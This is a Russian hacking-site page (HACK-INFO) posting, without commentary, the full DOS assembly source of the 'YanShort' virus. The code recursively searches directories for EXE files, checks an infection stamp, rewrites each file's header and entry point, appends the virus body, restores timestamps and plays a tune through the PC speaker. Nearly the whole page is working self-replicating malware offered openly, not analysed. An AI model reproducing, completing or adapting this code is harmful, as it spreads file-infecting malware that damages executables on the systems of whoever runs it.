Вирус YanShort



Прислали без коментариев, как только я его соображу на асемблере напишу коментарии!



data_area struc

DS_save dw ?
ES_save dw ?
IP_save dw ?
CS_save dw ?
SS_save dw ?
filematch db '*.exe',00h
matchall db '*.*',00h
infected dw 00h
help_flag dw 00h
where_from_flag dw 00h




handle dw ?
ip_old dw ?
cs_old dw ?
ss_old dw ?
far_push dw ?
save_push dw ?
buffer1 db '',63 dup (?)
virus_stamp db 'motherfucker' ;
buffer2 db 2b0h dup (?)
new_area db 64 dup (?)
new_data db 64 dup (?)
pointer1 dw ?
pointer2 dw ?
pointer3 dw ?
pointer4 dw ?
pointer5 dw ?
pointer6 dw ?
pointer7 dw ?
pointer8 dw ?

data_area ends

org 100h

start: call setup_data




adjust equ offset pgm_start
pgm_start label word
virussize equ 2793

work: mov ax,ds
push cs
pop ds
mov si,offset buffer.DS_save
sub si,adjust
add si,bx
mov [si],ax
mov si,offset buffer.ES_save
sub si,adjust
add si,bx
mov ax,es
mov [si],ax
push cs
pop es
push bx

mov ax,2f00h
int 21h
mov cx,bx
pop bx
mov si,offset buffer.pointer1
sub si,adjust
add si,bx
mov [si],cx
add si,2
mov ax,es
mov [si],ax
push cs
pop es
mov di,offset buffer.buffer1
inc di
sub di,adjust
add di,bx
mov dx,0000h
push bx
call search_exe
pop bx
mov si,offset buffer.where_from_flag
sub si,adjust
add si,bx
cmp word ptr [si],0000h
jnz infected_run
int 020H

infected_run:
mov si,offset buffer.pointer1
sub si,adjust
add si,bx
mov dx,[si]
push ds
mov ax,[si+2]
mov ds,ax
push bx
mov ax,1a00h
int 21h
pop bx
pop ds
mov si,offset buffer.ES_save
sub si,adjust
add si,bx
mov ax,[si]
mov es,ax
push bx
call mary_proc
pop bx
mov si,offset buffer.IP_save
sub si,adjust
add si,bx
mov ax,[si]
mov dx,[si+2]
mov si,offset buffer.far_push
sub si,adjust
add si,bx
mov cx,[si]
push ax
mov ax,cs
sub ax,cx
mov di,ax
add dx,ax
pop ax

mov si,offset buffer.SS_save
sub si,adjust
add si,bx
mov cx,word ptr [si]
add cx,di

push es
pop ds

cli
mov ss,cx
sti
push dx
push ax
retf

search_exe PROC
push si
push dx
call transfer_filespec

call find_first
jc not_here
call try_to_infect

mov si,offset buffer.infected
sub si,adjust
add si,bx
test word ptr [si],0ffffh
jz try_next
jmp quiet_exit

try_next:
call find_next

jc not_here
call try_to_infect
mov si,offset buffer.infected
sub si,adjust
add si,bx
test word ptr [si],0ffffh
jz try_next
jmp quiet_exit

not_here:
pop dx
push dx
call search_all
call find_first
jnc attribute_test

quiet_exit:
pop dx
pop si
ret

attribute_test:
mov si,dx
test byte ptr [si+015h],010h


jne dir_found
more_tries:
call find_next


jc quiet_exit
test byte ptr [si+015h],010h
jz more_tries
dir_found:
cmp byte ptr [si+01Eh],02Eh

jz more_tries

call dta_compute

push ax
mov ah,01Ah
int 021h
pop ax
push si
mov si,offset buffer.infected
sub si,adjust
add si,bx
test word ptr [si],0ffffh
pop si
jnz quiet_exit
jmp more_tries
search_exe ENDP

dta_compute PROC
push di
push si
push ax
push bx
cld
mov si,dx
add si,01EH

store_loop:
lodsb
stosb
or al,al
jne store_loop
std
stosb
mov al,05Ch
stosb
add di,2
call search_exe
pop bx
pop ax
pop si
pop di
ret
dta_compute ENDP

try_to_infect PROC
push ax
push bx
push cx
push dx
push si
push di

push es
push bx
mov ax,2f00h
int 21h
mov ax,bx
pop bx
mov si,offset buffer.pointer3
sub si,adjust
add si,bx
mov [si],ax
add si,2
mov ax,es
mov [si],ax
pop es

mov dx,offset buffer.new_data
sub dx,adjust
add dx,bx
push bx
mov ax,1a00h
int 21h
pop bx
mov di,offset buffer.new_area
mov si,offset buffer.buffer1
sub di,adjust
sub si,adjust
add di,bx
add si,bx
cld

move_path:
lodsb
stosb
or al,al
jnz move_path
std
mov al,''
mov cx,0040h
std
repne scasb

mov si,offset buffer.pointer3
sub si,adjust
add si,bx
mov ax,[si]
mov si,ax
add di,2
o_kay:
add si,001eh
cld
move_fnm:
lodsb
stosb
or al,al
jnz move_fnm

push dx
push bx
mov dx,offset buffer.new_area
sub dx,adjust
add dx,bx
mov ax,3d02h
int 21h
pop bx
pop dx
jnc go_ahead
jmp error_exit
go_ahead:
mov si,offset buffer.handle
sub si,adjust
add si,bx
mov [si],ax

push bx
mov bx,ax
push dx
mov cx,0000h
mov dx,0000h
mov ax,4202h
int 21h
mov cx,dx
pop dx
pop bx
jnc compute_length
jmp close_error

compute_length:
sub ax,000ch
sbb cx,0000h
save_offset:
mov si,offset buffer.pointer5
sub si,adjust
add si,bx
mov [si],ax
add si,2
mov [si],cx

push bx
push dx
mov si,offset buffer.handle
sub si,adjust
add si,bx
mov bx,[si]
mov dx,ax
mov ax,4200h
int 21h
pop dx
pop bx
jnc set_buffer
jmp close_error

set_buffer:
push bx
push dx
mov dx,offset buffer.new_data
sub dx,adjust
add dx,bx
mov si,offset buffer.handle
sub si,adjust
add si,bx
mov bx,[si]
mov cx,000ch
mov ax,3f00h
int 21h
pop dx
pop bx
jnc read_ok
jmp close_error

read_ok:
mov si,offset buffer.virus_stamp
mov di,offset buffer.new_data
sub si,adjust
sub di,adjust
add si,bx
add di,bx
mov cx,12
repe cmpsb
pushf
mov si,offset buffer.infected
sub si,adjust
add si,bx
mov word ptr [si],0000h
popf
jnz infect_it

close_error:
mov si,offset buffer.handle
sub si,adjust
add si,bx
push bx
mov bx,[si]
mov ax,3e00h
int 21h
pop bx
jmp error_exit

infect_it:
mov si,offset buffer.infected
sub si,adjust
add si,bx
mov word ptr [si],7777h

mov si,offset buffer.where_from_flag
sub si,adjust
add si,bx
mov ax,[si]
sub si,2
mov [si],ax

add si,2
mov [si],5a5ah
push bx
push dx
mov si,offset buffer.handle
sub si,adjust
add si,bx
mov bx,[si]
xor cx,cx
xor dx,dx
mov ax,4200h
int 21h
pop dx
pop bx
jnc set_new_data
jmp append_ok

set_new_data:
push bx
push dx
mov dx,offset buffer.new_data
sub dx,adjust
add dx,bx
mov si,offset buffer.handle
sub si,adjust
add si,bx
mov bx,[si]
mov cx,001bh
mov ax,3f00h
int 21h
pop dx
pop bx
jnc read_header
jmp append_ok

read_header:
nop
mov si,offset buffer.pointer5
sub si,adjust
add si,bx
mov ax,[si]
add si,2
add ax,0ch
adc word ptr [si],0000h
sub si,2
mov [si],ax
mov si,offset buffer.new_data
sub si,adjust
add si,bx
mov ax,[si]
cmp ax,5a4dh
jz valid_exe
jmp append_ok

valid_exe:
mov ax,[si+8]
xor dx,dx
shl ax,1
rcl dx,1
shl ax,1
rcl dx,1
shl ax,1
rcl dx,1
shl ax,1
rcl dx,1

push ax
push dx
push cx
mov dx,virussize-896+64
push dx
mov cx,0009h
shr dx,cl
add word ptr [si+4],dx
pop dx
and dx,01ffh
add dx,word ptr [si+2]
cmp dx,512
jl adjust_okay
sub dx,512
inc word ptr [si+4]
adjust_okay:
mov word ptr [si+2],dx
pop cx
pop dx
pop ax

push si
mov si,offset buffer.pointer5
sub si,adjust
add si,bx
sub [si],ax
mov ax,[si]
sbb [si+2],dx
mov dx,[si+2]
pop si

push ax
push dx
mov ax,[si+14h]
mov dx,[si+16h]
mov cx,[si+0eh]
push si
mov si,offset buffer.IP_save
sub si,adjust
add si,bx
xchg [si],ax
xchg [si+2],dx
mov si,offset buffer.SS_save
sub si,adjust
add si,bx
xchg [si],cx
mov si,offset buffer.ip_old
sub si,adjust
add si,bx
mov [si],ax
mov [si+2],dx
mov si,offset buffer.ss_old
sub si,adjust
add si,bx
mov [si],cx
pop si
pop dx
pop ax

push ax
push dx

shl ax,1
rcl dx,1
shl ax,1
rcl dx,1
shl ax,1
rcl dx,1
shl ax,1
rcl dx,1

mov cx,0008h
shl dx,cl
mov cx,0004h
shr ax,cl

mov [si+14h],ax
mov [si+16h],dx

push si
mov si,offset buffer.far_push
sub si,adjust
add si,bx
xchg [si],dx
mov word ptr [si+2],dx
pop si

pop dx
pop ax
add ax,virussize
adc dx,0000h
mov cx,0003h

mul_loop:
shl ax,1
rcl dx,1
shl ax,1
rcl dx,1
shl ax,1
rcl dx,1
shl ax,1
rcl dx,1
loop mul_loop

or ax,ax
jz exact_value
inc dx
exact_value:
mov [si+0eh],dx

push si
push bx
mov si,offset buffer.handle
sub si,adjust
add si,bx
mov bx,[si]
mov ax,5700h
int 21h
pop bx
pop si
jnc correct_time
jmp append_ok1

correct_time:
push cx
push bx
push dx
mov si,offset buffer.handle
sub si,adjust
add si,bx
mov bx,[si]
xor cx,cx
xor dx,dx
mov ax,4200h
int 21h
pop dx
pop bx
pop cx
jnc continue_infection
jmp append_ok1

continue_infection:
push cx
push dx
push bx
mov dx,offset buffer.new_data
sub dx,adjust
add dx,bx
mov si,offset buffer.handle
sub si,adjust
add si,bx
mov bx,[si]
mov cx,001bh
mov ax,4000h
int 21h
pop bx
pop dx
pop cx
jnc glue_virus
jmp append_ok1

glue_virus:
push cx
push bx
push dx
mov si,offset buffer.handle
sub si,adjust
add si,bx
mov bx,[si]
xor cx,cx
xor dx,dx
mov ax,4202h
int 21h
pop dx
pop bx
pop cx
jnc write_data
jmp append_ok1

write_data:
mov si,offset buffer.handle
sub si,adjust
add si,bx

push dx
push cx
mov dx,bx
sub dx,3
push es
push bx
push dx
push si
mov ax,2f00h
int 21h
pop si
pop dx
push es
push bx
push si
mov ax,1a00h
int 21h
pop si
mov bx,[si]
mov cx,virussize-896+64
mov ax,4000h
int 21h
lahf
pop bx
pop es
push ds
push es
pop ds
mov dx,bx

push ax
mov ax,1a00h
int 21h
pop ax
pop ds
pop bx
pop es
pop cx
pop dx

sahf
jnc put_stamp
jmp append_ok1

put_stamp:
push bx
mov si,offset buffer.handle
sub si,adjust
add si,bx
mov bx,[si]
mov ax,5701h
int 21h
pop bx
append_ok1:
mov si,offset buffer.ip_old
sub si,adjust
add si,bx
mov ax,[si]
mov dx,[si+2]
mov si,offset buffer.IP_save
sub si,adjust
add si,bx
mov [si],ax
mov [si+2],dx
mov si,offset buffer.save_push
sub si,adjust
add si,bx
mov ax,[si]
mov word ptr [si-2],ax
mov si,offset buffer.ss_old
sub si,adjust
add si,bx
mov ax,[si]
mov si,offset buffer.SS_save
sub si,adjust
add si,bx
mov word ptr [si],ax
append_ok:
mov si,offset buffer.help_flag
sub si,adjust
add si,bx
mov ax,[si]
add si,2
mov [si],ax

jmp close_error
error_exit:
mov si,offset buffer.pointer3
sub si,adjust
add si,bx
mov dx,[si]
add si,2
mov ax,[si]
push ds
mov ds,ax
mov ax,1a00h
int 21h
pop ds
pop di
pop si
pop dx
pop cx
pop bx
pop ax
ret
try_to_infect ENDP

transfer_filespec PROC
push si
mov si,offset buffer.filematch
sub si,adjust
add si,bx
call byte_move
pop si
ret
transfer_filespec ENDP

search_all PROC
push si
mov si,offset buffer.matchall
sub si,adjust
add si,bx
call byte_move
pop si
ret
search_all ENDP

byte_move PROC
push ax
push di
cld
move_loop:
lodsb
stosb
or al,al
jne move_loop
pop di
pop ax
ret
byte_move ENDP

find_first PROC
push cx
push bx
cmp dx,0000h
jnbe over_set
mov dx,offset buffer.buffer2
sub dx,adjust
add dx,bx
over_set:
add dx,02Bh
mov cx,00010h
mov ah,01ah
int 021h
pop bx
push bx
push dx
mov dx,offset buffer.buffer1
sub dx,adjust
add dx,bx
mov ah,04eh
int 021h
pop dx
pop bx
pop cx
ret
find_first ENDP

find_next PROC
push cx
push bx
push dx
mov dx,offset buffer.buffer1
sub dx,adjust
add dx,bx
mov cx,00010h
mov ah,04fh
int 021h
pop dx
pop bx
pop cx
ret
find_next ENDP

delay PROC
push ax
push bx
push cx
push dx
mov ah,2ch
int 21h
mov ah,ch
add al,cl
add bh,dh
add bl,dl
cmp bl,100
jb secs
sub bl,100
inc bh
secs:
cmp bh,60
jb mins
sub bh,60
inc al
mins:
cmp al,60
jb hours
sub al,60
inc ah
hours:
cmp ah,24
jne tcheck
sub ah,ah
tcheck:
push ax
mov ah,2ch
int 21h
pop ax
cmp cx,ax
ja tdquit
jb tcheck
cmp dx,bx
jb tcheck
tdquit:
pop dx
pop cx
pop bx
pop ax
ret
delay ENDP

sound PROC
push ax
push cx
push dx
push di

mov al,0b6h
out 43h,al
mov dx,14h
mov ax,533h*896
div di
out 42h,al
mov al,ah
out 42h,al
in al,61h
mov ah,al
or al,3
out 61h,al
mov al,cl
call delay
mov al,ah
out 61h,al
pop di
pop dx
pop cx
pop ax
ret
sound ENDP

music_play PROC
push bx
push cx
push di
push si
push bp
freq:
mov di,[si]
cmp di,0ffffh
je end_play
mov bl,ds:[bp]
sub cl,cl
sub bh,bh
call sound
add si,2
inc bp
jnz freq
end_play:
pop bp
pop si
pop di
pop cx
pop bx
ret
music_play ENDP

mary_proc PROC
push bx
push bp
mov si,offset mary_freq
mov bp,offset mary_time
sub si,adjust
sub bp,adjust
add si,bx
add bp,bx
call music_play
pop bp
pop bx
ret
mary_proc ENDP

mary_freq dw 262,262,293,329,262,329,293,196
dw 262,262,293,329,262,262
dw 262,262,293,329,349,329,293,262
dw 246,196,220,246,262,262
dw 220,246,220,174,220,246,262,220
dw 196,220,196,174,164,174,196
dw 220,246,220,174,220,246,262,220
dw 196,262,246,293,262,262,0ffffh
mary_time db 8 dup(25)
db 4 dup(25), 50, 50
db 8 dup(25)
db 4 dup(25), 50, 50
db 26, 25, 26, 5 dup(25)
db 26, 25, 26, 3 dup(25), 30
db 26, 25, 26, 4 dup(25), 30
db 4 dup(25), 50, 50
setup_data:
cli
pop bx
push bx
sti
ret
buffer data_area <>


прислал: Joveres



Copyright © " HACK-INFO" " info@xakep.dax.ru"
При использовании материалов обязательна ссылка на http://hack-info.tk .